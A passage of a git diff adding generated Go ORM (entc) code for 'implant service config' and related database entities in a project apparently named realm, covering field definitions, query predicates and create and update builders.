icuo.mutation.RemovedServiceConfigsIDs(); len(nodes) > 0 && !icuo.mutation.ServiceConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.ServiceConfigsTable, + Columns: implantconfig.ServiceConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icuo.mutation.ServiceConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.ServiceConfigsTable, + Columns: implantconfig.ServiceConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if icuo.mutation.CallbackConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.CallbackConfigsTable, + Columns: implantconfig.CallbackConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icuo.mutation.RemovedCallbackConfigsIDs(); len(nodes) > 0 && !icuo.mutation.CallbackConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.CallbackConfigsTable, + Columns: implantconfig.CallbackConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icuo.mutation.CallbackConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.CallbackConfigsTable, + Columns: implantconfig.CallbackConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + _node = &ImplantConfig{config: icuo.config} + _spec.Assign = _node.assignValues + _spec.ScanValues = _node.scanValues + if err = sqlgraph.UpdateNode(ctx, icuo.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{implantconfig.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return nil, err + } + return _node, nil +} diff --git a/ent/implantserviceconfig.go b/ent/implantserviceconfig.go new file mode 100644 index 000000000..559400b34 --- /dev/null +++ b/ent/implantserviceconfig.go @@ -0,0 +1,148 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "fmt" + "strings" + + "entgo.io/ent/dialect/sql" + "github.com/kcarretto/realm/ent/implantserviceconfig" +) + +// ImplantServiceConfig is the model entity for the ImplantServiceConfig schema. +type ImplantServiceConfig struct { + config `json:"-"` + // ID of the ent. + ID int `json:"id,omitempty"` + // Name holds the value of the "name" field. + // The name of the service. + Name string `json:"name,omitempty"` + // Description holds the value of the "description" field. + // A description of the service. + Description string `json:"description,omitempty"` + // ExecutablePath holds the value of the "executablePath" field. + // Path to the executable run by the service. + ExecutablePath string `json:"executablePath,omitempty"` + // Edges holds the relations/edges for other nodes in the graph. + // The values are being populated by the ImplantServiceConfigQuery when eager-loading is set. + Edges ImplantServiceConfigEdges `json:"edges"` +} + +// ImplantServiceConfigEdges holds the relations/edges for other nodes in the graph. +type ImplantServiceConfigEdges struct { + // ImplantConfigs holds the value of the implantConfigs edge. + ImplantConfigs []*ImplantConfig `json:"implantConfigs,omitempty"` + // loadedTypes holds the information for reporting if a + // type was loaded (or requested) in eager-loading or not. + loadedTypes [1]bool +} + +// ImplantConfigsOrErr returns the ImplantConfigs value or an error if the edge +// was not loaded in eager-loading. +func (e ImplantServiceConfigEdges) ImplantConfigsOrErr() ([]*ImplantConfig, error) { + if e.loadedTypes[0] { + return e.ImplantConfigs, nil + } + return nil, &NotLoadedError{edge: "implantConfigs"} +} + +// scanValues returns the types for scanning values from sql.Rows. +func (*ImplantServiceConfig) scanValues(columns []string) ([]interface{}, error) { + values := make([]interface{}, len(columns)) + for i := range columns { + switch columns[i] { + case implantserviceconfig.FieldID: + values[i] = new(sql.NullInt64) + case implantserviceconfig.FieldName, implantserviceconfig.FieldDescription, implantserviceconfig.FieldExecutablePath: + values[i] = new(sql.NullString) + default: + return nil, fmt.Errorf("unexpected column %q for type ImplantServiceConfig", columns[i]) + } + } + return values, nil +} + +// assignValues assigns the values that were returned from sql.Rows (after scanning) +// to the ImplantServiceConfig fields. +func (isc *ImplantServiceConfig) assignValues(columns []string, values []interface{}) error { + if m, n := len(values), len(columns); m < n { + return fmt.Errorf("mismatch number of scan values: %d != %d", m, n) + } + for i := range columns { + switch columns[i] { + case implantserviceconfig.FieldID: + value, ok := values[i].(*sql.NullInt64) + if !ok { + return fmt.Errorf("unexpected type %T for field id", value) + } + isc.ID = int(value.Int64) + case implantserviceconfig.FieldName: + if value, ok := values[i].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field name", values[i]) + } else if value.Valid { + isc.Name = value.String + } + case implantserviceconfig.FieldDescription: + if value, ok := values[i].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field description", values[i]) + } else if value.Valid { + isc.Description = value.String + } + case implantserviceconfig.FieldExecutablePath: + if value, ok := values[i].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field executablePath", values[i]) + } else if value.Valid { + isc.ExecutablePath = value.String + } + } + } + return nil +} + +// QueryImplantConfigs queries the "implantConfigs" edge of the ImplantServiceConfig entity. +func (isc *ImplantServiceConfig) QueryImplantConfigs() *ImplantConfigQuery { + return (&ImplantServiceConfigClient{config: isc.config}).QueryImplantConfigs(isc) +} + +// Update returns a builder for updating this ImplantServiceConfig. +// Note that you need to call ImplantServiceConfig.Unwrap() before calling this method if this ImplantServiceConfig +// was returned from a transaction, and the transaction was committed or rolled back. +func (isc *ImplantServiceConfig) Update() *ImplantServiceConfigUpdateOne { + return (&ImplantServiceConfigClient{config: isc.config}).UpdateOne(isc) +} + +// Unwrap unwraps the ImplantServiceConfig entity that was returned from a transaction after it was closed, +// so that all future queries will be executed through the driver which created the transaction. +func (isc *ImplantServiceConfig) Unwrap() *ImplantServiceConfig { + tx, ok := isc.config.driver.(*txDriver) + if !ok { + panic("ent: ImplantServiceConfig is not a transactional entity") + } + isc.config.driver = tx.drv + return isc +} + +// String implements the fmt.Stringer. +func (isc *ImplantServiceConfig) String() string { + var builder strings.Builder + builder.WriteString("ImplantServiceConfig(") + builder.WriteString(fmt.Sprintf("id=%v", isc.ID)) + builder.WriteString(", name=") + builder.WriteString(isc.Name) + builder.WriteString(", description=") + builder.WriteString(isc.Description) + builder.WriteString(", executablePath=") + builder.WriteString(isc.ExecutablePath) + builder.WriteByte(')') + return builder.String() +} + +// ImplantServiceConfigs is a parsable slice of ImplantServiceConfig. +type ImplantServiceConfigs []*ImplantServiceConfig + +func (isc ImplantServiceConfigs) config(cfg config) { + for _i := range isc { + isc[_i].config = cfg + } +} diff --git a/ent/implantserviceconfig/implantserviceconfig.go b/ent/implantserviceconfig/implantserviceconfig.go new file mode 100644 index 000000000..38c4b82a9 --- /dev/null +++ b/ent/implantserviceconfig/implantserviceconfig.go @@ -0,0 +1,58 @@ +// Code generated by entc, DO NOT EDIT. + +package implantserviceconfig + +const ( + // Label holds the string label denoting the implantserviceconfig type in the database. + Label = "implant_service_config" + // FieldID holds the string denoting the id field in the database. + FieldID = "id" + // FieldName holds the string denoting the name field in the database. + FieldName = "name" + // FieldDescription holds the string denoting the description field in the database. + FieldDescription = "description" + // FieldExecutablePath holds the string denoting the executablepath field in the database. + FieldExecutablePath = "executable_path" + // EdgeImplantConfigs holds the string denoting the implantconfigs edge name in mutations. + EdgeImplantConfigs = "implantConfigs" + // Table holds the table name of the implantserviceconfig in the database. + Table = "implant_service_configs" + // ImplantConfigsTable is the table that holds the implantConfigs relation/edge. The primary key declared below. + ImplantConfigsTable = "implant_config_serviceConfigs" + // ImplantConfigsInverseTable is the table name for the ImplantConfig entity. + // It exists in this package in order to avoid circular dependency with the "implantconfig" package. + ImplantConfigsInverseTable = "implant_configs" +) + +// Columns holds all SQL columns for implantserviceconfig fields. +var Columns = []string{ + FieldID, + FieldName, + FieldDescription, + FieldExecutablePath, +} + +var ( + // ImplantConfigsPrimaryKey and ImplantConfigsColumn2 are the table columns denoting the + // primary key for the implantConfigs relation (M2M). + ImplantConfigsPrimaryKey = []string{"implant_config_id", "implant_service_config_id"} +) + +// ValidColumn reports if the column name is valid (part of the table columns). +func ValidColumn(column string) bool { + for i := range Columns { + if column == Columns[i] { + return true + } + } + return false +} + +var ( + // NameValidator is a validator for the "name" field. It is called by the builders before save. + NameValidator func(string) error + // DefaultDescription holds the default value on creation for the "description" field. + DefaultDescription string + // ExecutablePathValidator is a validator for the "executablePath" field. It is called by the builders before save. + ExecutablePathValidator func(string) error +) diff --git a/ent/implantserviceconfig/where.go b/ent/implantserviceconfig/where.go new file mode 100644 index 000000000..ad3c54df0 --- /dev/null +++ b/ent/implantserviceconfig/where.go @@ -0,0 +1,506 @@ +// Code generated by entc, DO NOT EDIT. + +package implantserviceconfig + +import ( + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "github.com/kcarretto/realm/ent/predicate" +) + +// ID filters vertices based on their ID field. +func ID(id int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldID), id)) + }) +} + +// IDEQ applies the EQ predicate on the ID field. +func IDEQ(id int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldID), id)) + }) +} + +// IDNEQ applies the NEQ predicate on the ID field. +func IDNEQ(id int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldID), id)) + }) +} + +// IDIn applies the In predicate on the ID field. +func IDIn(ids ...int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(ids) == 0 { + s.Where(sql.False()) + return + } + v := make([]interface{}, len(ids)) + for i := range v { + v[i] = ids[i] + } + s.Where(sql.In(s.C(FieldID), v...)) + }) +} + +// IDNotIn applies the NotIn predicate on the ID field. +func IDNotIn(ids ...int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(ids) == 0 { + s.Where(sql.False()) + return + } + v := make([]interface{}, len(ids)) + for i := range v { + v[i] = ids[i] + } + s.Where(sql.NotIn(s.C(FieldID), v...)) + }) +} + +// IDGT applies the GT predicate on the ID field. +func IDGT(id int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldID), id)) + }) +} + +// IDGTE applies the GTE predicate on the ID field. +func IDGTE(id int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldID), id)) + }) +} + +// IDLT applies the LT predicate on the ID field. +func IDLT(id int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldID), id)) + }) +} + +// IDLTE applies the LTE predicate on the ID field. +func IDLTE(id int) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldID), id)) + }) +} + +// Name applies equality check predicate on the "name" field. It's identical to NameEQ. +func Name(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldName), v)) + }) +} + +// Description applies equality check predicate on the "description" field. It's identical to DescriptionEQ. +func Description(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldDescription), v)) + }) +} + +// ExecutablePath applies equality check predicate on the "executablePath" field. It's identical to ExecutablePathEQ. +func ExecutablePath(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldExecutablePath), v)) + }) +} + +// NameEQ applies the EQ predicate on the "name" field. +func NameEQ(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldName), v)) + }) +} + +// NameNEQ applies the NEQ predicate on the "name" field. +func NameNEQ(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldName), v)) + }) +} + +// NameIn applies the In predicate on the "name" field. +func NameIn(vs ...string) predicate.ImplantServiceConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldName), v...)) + }) +} + +// NameNotIn applies the NotIn predicate on the "name" field. +func NameNotIn(vs ...string) predicate.ImplantServiceConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldName), v...)) + }) +} + +// NameGT applies the GT predicate on the "name" field. +func NameGT(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldName), v)) + }) +} + +// NameGTE applies the GTE predicate on the "name" field. +func NameGTE(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldName), v)) + }) +} + +// NameLT applies the LT predicate on the "name" field. +func NameLT(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldName), v)) + }) +} + +// NameLTE applies the LTE predicate on the "name" field. +func NameLTE(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldName), v)) + }) +} + +// NameContains applies the Contains predicate on the "name" field. +func NameContains(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.Contains(s.C(FieldName), v)) + }) +} + +// NameHasPrefix applies the HasPrefix predicate on the "name" field. +func NameHasPrefix(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.HasPrefix(s.C(FieldName), v)) + }) +} + +// NameHasSuffix applies the HasSuffix predicate on the "name" field. +func NameHasSuffix(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.HasSuffix(s.C(FieldName), v)) + }) +} + +// NameEqualFold applies the EqualFold predicate on the "name" field. +func NameEqualFold(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EqualFold(s.C(FieldName), v)) + }) +} + +// NameContainsFold applies the ContainsFold predicate on the "name" field. +func NameContainsFold(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.ContainsFold(s.C(FieldName), v)) + }) +} + +// DescriptionEQ applies the EQ predicate on the "description" field. +func DescriptionEQ(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldDescription), v)) + }) +} + +// DescriptionNEQ applies the NEQ predicate on the "description" field. +func DescriptionNEQ(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldDescription), v)) + }) +} + +// DescriptionIn applies the In predicate on the "description" field. +func DescriptionIn(vs ...string) predicate.ImplantServiceConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldDescription), v...)) + }) +} + +// DescriptionNotIn applies the NotIn predicate on the "description" field. +func DescriptionNotIn(vs ...string) predicate.ImplantServiceConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldDescription), v...)) + }) +} + +// DescriptionGT applies the GT predicate on the "description" field. +func DescriptionGT(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldDescription), v)) + }) +} + +// DescriptionGTE applies the GTE predicate on the "description" field. +func DescriptionGTE(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldDescription), v)) + }) +} + +// DescriptionLT applies the LT predicate on the "description" field. +func DescriptionLT(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldDescription), v)) + }) +} + +// DescriptionLTE applies the LTE predicate on the "description" field. +func DescriptionLTE(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldDescription), v)) + }) +} + +// DescriptionContains applies the Contains predicate on the "description" field. +func DescriptionContains(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.Contains(s.C(FieldDescription), v)) + }) +} + +// DescriptionHasPrefix applies the HasPrefix predicate on the "description" field. +func DescriptionHasPrefix(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.HasPrefix(s.C(FieldDescription), v)) + }) +} + +// DescriptionHasSuffix applies the HasSuffix predicate on the "description" field. +func DescriptionHasSuffix(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.HasSuffix(s.C(FieldDescription), v)) + }) +} + +// DescriptionEqualFold applies the EqualFold predicate on the "description" field. +func DescriptionEqualFold(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EqualFold(s.C(FieldDescription), v)) + }) +} + +// DescriptionContainsFold applies the ContainsFold predicate on the "description" field. +func DescriptionContainsFold(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.ContainsFold(s.C(FieldDescription), v)) + }) +} + +// ExecutablePathEQ applies the EQ predicate on the "executablePath" field. +func ExecutablePathEQ(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathNEQ applies the NEQ predicate on the "executablePath" field. +func ExecutablePathNEQ(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathIn applies the In predicate on the "executablePath" field. +func ExecutablePathIn(vs ...string) predicate.ImplantServiceConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldExecutablePath), v...)) + }) +} + +// ExecutablePathNotIn applies the NotIn predicate on the "executablePath" field. +func ExecutablePathNotIn(vs ...string) predicate.ImplantServiceConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldExecutablePath), v...)) + }) +} + +// ExecutablePathGT applies the GT predicate on the "executablePath" field. +func ExecutablePathGT(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathGTE applies the GTE predicate on the "executablePath" field. +func ExecutablePathGTE(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathLT applies the LT predicate on the "executablePath" field. +func ExecutablePathLT(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathLTE applies the LTE predicate on the "executablePath" field. +func ExecutablePathLTE(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathContains applies the Contains predicate on the "executablePath" field. +func ExecutablePathContains(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.Contains(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathHasPrefix applies the HasPrefix predicate on the "executablePath" field. +func ExecutablePathHasPrefix(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.HasPrefix(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathHasSuffix applies the HasSuffix predicate on the "executablePath" field. +func ExecutablePathHasSuffix(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.HasSuffix(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathEqualFold applies the EqualFold predicate on the "executablePath" field. +func ExecutablePathEqualFold(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.EqualFold(s.C(FieldExecutablePath), v)) + }) +} + +// ExecutablePathContainsFold applies the ContainsFold predicate on the "executablePath" field. +func ExecutablePathContainsFold(v string) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s.Where(sql.ContainsFold(s.C(FieldExecutablePath), v)) + }) +} + +// HasImplantConfigs applies the HasEdge predicate on the "implantConfigs" edge. +func HasImplantConfigs() predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ImplantConfigsTable, FieldID), + sqlgraph.Edge(sqlgraph.M2M, true, ImplantConfigsTable, ImplantConfigsPrimaryKey...), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasImplantConfigsWith applies the HasEdge predicate on the "implantConfigs" edge with a given conditions (other predicates). +func HasImplantConfigsWith(preds ...predicate.ImplantConfig) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ImplantConfigsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2M, true, ImplantConfigsTable, ImplantConfigsPrimaryKey...), + ) + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// And groups predicates with the AND operator between them. +func And(predicates ...predicate.ImplantServiceConfig) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s1 := s.Clone().SetP(nil) + for _, p := range predicates { + p(s1) + } + s.Where(s1.P()) + }) +} + +// Or groups predicates with the OR operator between them. +func Or(predicates ...predicate.ImplantServiceConfig) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + s1 := s.Clone().SetP(nil) + for i, p := range predicates { + if i > 0 { + s1.Or() + } + p(s1) + } + s.Where(s1.P()) + }) +} + +// Not applies the not operator on the given predicate. +func Not(p predicate.ImplantServiceConfig) predicate.ImplantServiceConfig { + return predicate.ImplantServiceConfig(func(s *sql.Selector) { + p(s.Not()) + }) +} diff --git a/ent/implantserviceconfig_create.go b/ent/implantserviceconfig_create.go new file mode 100644 index 000000000..2773242ae --- /dev/null +++ b/ent/implantserviceconfig_create.go @@ -0,0 +1,317 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" +) + +// ImplantServiceConfigCreate is the builder for creating a ImplantServiceConfig entity. +type ImplantServiceConfigCreate struct { + config + mutation *ImplantServiceConfigMutation + hooks []Hook +} + +// SetName sets the "name" field. +func (iscc *ImplantServiceConfigCreate) SetName(s string) *ImplantServiceConfigCreate { + iscc.mutation.SetName(s) + return iscc +} + +// SetDescription sets the "description" field. +func (iscc *ImplantServiceConfigCreate) SetDescription(s string) *ImplantServiceConfigCreate { + iscc.mutation.SetDescription(s) + return iscc +} + +// SetNillableDescription sets the "description" field if the given value is not nil. +func (iscc *ImplantServiceConfigCreate) SetNillableDescription(s *string) *ImplantServiceConfigCreate { + if s != nil { + iscc.SetDescription(*s) + } + return iscc +} + +// SetExecutablePath sets the "executablePath" field. +func (iscc *ImplantServiceConfigCreate) SetExecutablePath(s string) *ImplantServiceConfigCreate { + iscc.mutation.SetExecutablePath(s) + return iscc +} + +// AddImplantConfigIDs adds the "implantConfigs" edge to the ImplantConfig entity by IDs. +func (iscc *ImplantServiceConfigCreate) AddImplantConfigIDs(ids ...int) *ImplantServiceConfigCreate { + iscc.mutation.AddImplantConfigIDs(ids...) + return iscc +} + +// AddImplantConfigs adds the "implantConfigs" edges to the ImplantConfig entity. +func (iscc *ImplantServiceConfigCreate) AddImplantConfigs(i ...*ImplantConfig) *ImplantServiceConfigCreate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iscc.AddImplantConfigIDs(ids...) +} + +// Mutation returns the ImplantServiceConfigMutation object of the builder. +func (iscc *ImplantServiceConfigCreate) Mutation() *ImplantServiceConfigMutation { + return iscc.mutation +} + +// Save creates the ImplantServiceConfig in the database. +func (iscc *ImplantServiceConfigCreate) Save(ctx context.Context) (*ImplantServiceConfig, error) { + var ( + err error + node *ImplantServiceConfig + ) + iscc.defaults() + if len(iscc.hooks) == 0 { + if err = iscc.check(); err != nil { + return nil, err + } + node, err = iscc.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantServiceConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = iscc.check(); err != nil { + return nil, err + } + iscc.mutation = mutation + if node, err = iscc.sqlSave(ctx); err != nil { + return nil, err + } + mutation.id = &node.ID + mutation.done = true + return node, err + }) + for i := len(iscc.hooks) - 1; i >= 0; i-- { + if iscc.hooks[i] == nil { + return nil, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iscc.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iscc.mutation); err != nil { + return nil, err + } + } + return node, err +} + +// SaveX calls Save and panics if Save returns an error. +func (iscc *ImplantServiceConfigCreate) SaveX(ctx context.Context) *ImplantServiceConfig { + v, err := iscc.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (iscc *ImplantServiceConfigCreate) Exec(ctx context.Context) error { + _, err := iscc.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iscc *ImplantServiceConfigCreate) ExecX(ctx context.Context) { + if err := iscc.Exec(ctx); err != nil { + panic(err) + } +} + +// defaults sets the default values of the builder before save. +func (iscc *ImplantServiceConfigCreate) defaults() { + if _, ok := iscc.mutation.Description(); !ok { + v := implantserviceconfig.DefaultDescription + iscc.mutation.SetDescription(v) + } +} + +// check runs all checks and user-defined validators on the builder. +func (iscc 